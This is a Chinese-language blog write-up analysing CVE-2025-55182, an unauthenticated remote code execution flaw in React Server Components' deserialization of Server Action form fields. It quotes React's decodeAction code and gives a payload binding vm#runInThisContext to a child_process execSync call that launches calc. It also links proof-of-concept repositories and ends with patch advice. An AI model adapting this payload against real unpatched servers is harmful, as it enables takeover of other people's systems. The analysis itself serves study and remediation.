1、前言
昨日爆出的 CVE-2025-55182,CVSS 10.0 满分严重漏洞,影响 React 19 及所有 Next.js 15/16 项目。 核心问题是 React Server Components 的 Flight 协议存在不安全反序列化,无需任何认证 ,攻击者只需向 Server Actions 端点发送一个精心构造的 multipart 请求,即可实现远程代码执行(RCE)。
目前已确认多个完整 0day 利用链(包括 vm.runInThisContext 在内),未修补实例基本等于已失陷。

2、组件介绍
React Server Components 是 React 团队在 React 18 实验阶段提出、在 React 19 正式稳定 的革命性特性。它真正实现了「服务器上直接执行代码、客户端只收纯 HTML」的理想状态,性能提升极其恐怖(首屏往往快 50%~80%),但也正因为它把「客户端触发的服务器函数执行权」彻底开放,才导致了史诗级漏洞 CVE-2025-55182(CVSS 10.0)。
async function addToCart(itemId: string) {
'use server'; // 标记为服务器执行
await db.cart.add(currentUserId, itemId);
}
// 客户端组件里直接用
<form action={addToCart}>
<input name="itemId" />
<button>加入购物车</button>
</form>
提交表单时,React 会把这个函数调用序列化,通过 React Flight 协议 传给服务器,服务器反序列化后直接执行。
3、漏洞分析
公司的网太卡了,有个倒时差的哥,在github搭建好了项目和poc直接导下来吧
https://github.com/ejpir/CVE-2025-55182-poc
先捋一捋这个漏洞的逻辑和请求包的内容
这个项目是为了研究漏洞的思路才写的

React Server Components + Server Actions 会把:
- 前端提交的 FormData
- 里面的字段
"$$ACTION_ID"(或 action 字段名)
映射到服务器上的某个真实函数。
例如:
<form action={saveFeedback}>
客户端 POST 上来的内容会变成:
action=FeedbackActions.saveFeedback
decodeAction(formData, manifest) 就会:
- 从 formData 找到 action 字段
- 从 serverManifest 找到模块名
- 动态 require() 模块
- 返回模块里的函数引用
也就是说,这个函数能根据用户输入字符串,动态加载 服务器上的任意模块、任意函数。

exports.decodeAction = function (body, serverManifest) {
var formData = new FormData(),
action = null;
body.forEach(function (value, key) {
key.startsWith("$ACTION_")
? key.startsWith("$ACTION_REF_")
? ((value = "$ACTION_" + key.slice(12) + ":"),
(value = decodeBoundActionMetaData(body, serverManifest, value)),
(action = loadServerReference(
serverManifest,
value.id,
value.bound
)))
: key.startsWith("$ACTION_ID_") &&
((value = key.slice(11)),
(action = loadServerReference(serverManifest, value, null)))
: formData.append(key, value);
});
return null === action
? null
: action.then(function (fn) {
return fn.bind(null, formData);
});
};
先遍历 FormData ,再循环如果某个 key 是 $ACTION_ID_xxx:→ 这是"要执行的服务端 Action 的 ID 通过loadServerReference加载模块或者函数,返回一个绑定 FormData 的服务器函数
tips1 两类 Action 字段
React Server Actions 有两种:
**ACTION_REF_** 开头:绑定 action(带闭包参数) 客户端用于引用"已有的服务器 Action 实例,重点是,它是用已有的,重复使用,并不会去创建反序列化一个,但是!在实际的逻辑中ACTION_REF_ 允许客户端伪造 action 实例 + 伪造 bound 参数 → 导致"创建一个新的 action 实例"
$ACTION_REF_999=1
$ACTION_999:0=hello
$ACTION_999:1=world
构造了一堆 multipart 字段
value = "$ACTION_" + key.slice(12) + ":";
//通过这里就会变成$ACTION_999:
//decodeAction 不仅"引用现有 action",而是直接让客户端创建了 action 实例命名空间。
value = decodeBoundActionMetaData(body, serverManifest, value);
然后就会去扫描$ACTION_999:*所有的
返回的就是
{
id: "999",
bound: ["hello", "world"]
}
$ACTION_ID_* 最常见的用于模块调用如
用户提交了修改密码请求
<form action={updatePassword}>
<input type="password" name="newPassword" />
<button type="submit">Update Password</button>
</form>
生成了FormData就会变成
$ACTION_ID_UserActions.updatePassword = ""
服务器就会去找updatePassword 函数
loadServerReference(serverManifest, "UserActions", "updatePassword");
还有就是分模块的调用
如$ACTION_ID_OrderActions.createOrder = ""
解析成就会
vb
`loadServerReference(serverManifest, "OrderActions", "createOrder");`
通过 $ACTION_ID_* 字段,React 确保调用 OrderActions 模块中的 createOrder 方法。
vm模块
早在很早的时候就有人用它来执行代码,只不过现在才结合起来组合造成rce
-
runInThisContext
globalVar = 1000
vm.runInThisContext('globalVar *= 2;');
console.log(globalVar)var localVar = 200;
vm.runInThisContext('localVar *= 2');
console.log(localVar)
runInThisContext执行的环境则默认为当前的上下文,里面的变量只能是当前的全局变量与方法
- runInNewContext
这个方法类似于runInContext,对上下文环境更严格,只会接受第二个参数传入的变量,外界的全局变量方法都不支
const sandbox = {
boxHuman:'kit',
boxVar:200,
};
vm.runInNewContext('boxVar *= 2',sandbox)
console.log(sandbox)
var fn = new Function("boxVar",'boxVar *= 2;')
fn(boxVar)
但我们目前需要的是调用一个真实存在的 module + method->vm#runInThisContext
因为 这个 module 会被 React RSC Bundler 标记为可导入(可见)
id: "vm#runInThisContext",
bound: [
"global.process.mainModule.require('child_process').execSync('calc').toString()"
]
全局对象中获取了进程的process对象
|---------------------------|----------------|
| process.xxx | 作用 |
| process.env | 环境变量 |
| process.cwd() | 当前工作目录 |
| process.pid | 进程 ID |
| process.version | node版本 |
| process.platform | 操作系统 |
| process.argv | 命令行参数 |
| process.exit() | 退出进程 |
| process.memoryUsage() | 内存信息 |
| process.mainModule | 当前程序的入口模块(最危险) |
通过require 导入fs、path、net、http、child_process这些模块都可以,采用的是child_process 进行命令执行权限比较高。
上面我们就获得了一个反序列化出一个服务器函数带有命令的,而后下面
if (typeof actionFn === 'function') {
// simulate "normal business action call"
result = actionFn({
message: formData.get("message"),
user: formData.get("user")
});
} else {
result = actionFn;
}
判断你是否是函数,如果是就调用这个函数,执行actionFn,正常情况下是会传入正常业务的参数的,但这里一已经不重要了
最后执行出来是
vm.runInThisContext("global.process.mainModule.require('child_process').execSync('calc')")
客户端构造恶意 multipart/form-data
↓
decodeAction 反序列化出恶意服务器函数 (actionFn)
↓
服务端认为它是正常业务 action
↓
actionFn({
message: ..., user: ...
})
↓
函数内部是攻击者构造的 payload
↓
vm.runInThisContext / Function / require
↓
child_process.execSync("calc")
↓
RCE 成功
4、漏洞修复建议
- **Next.js 用户:**请根据你的主版本号,升级到以下补丁版本或更高
- **React 原生/自定义集成用户:**确保
react和react-dom(以及react-server-dom-*) 升级到以下安全版本 - WAF拦截
5、测试脚本仅供学习
https://github.com/sudo-Yangziran/CVE-2025-55182POC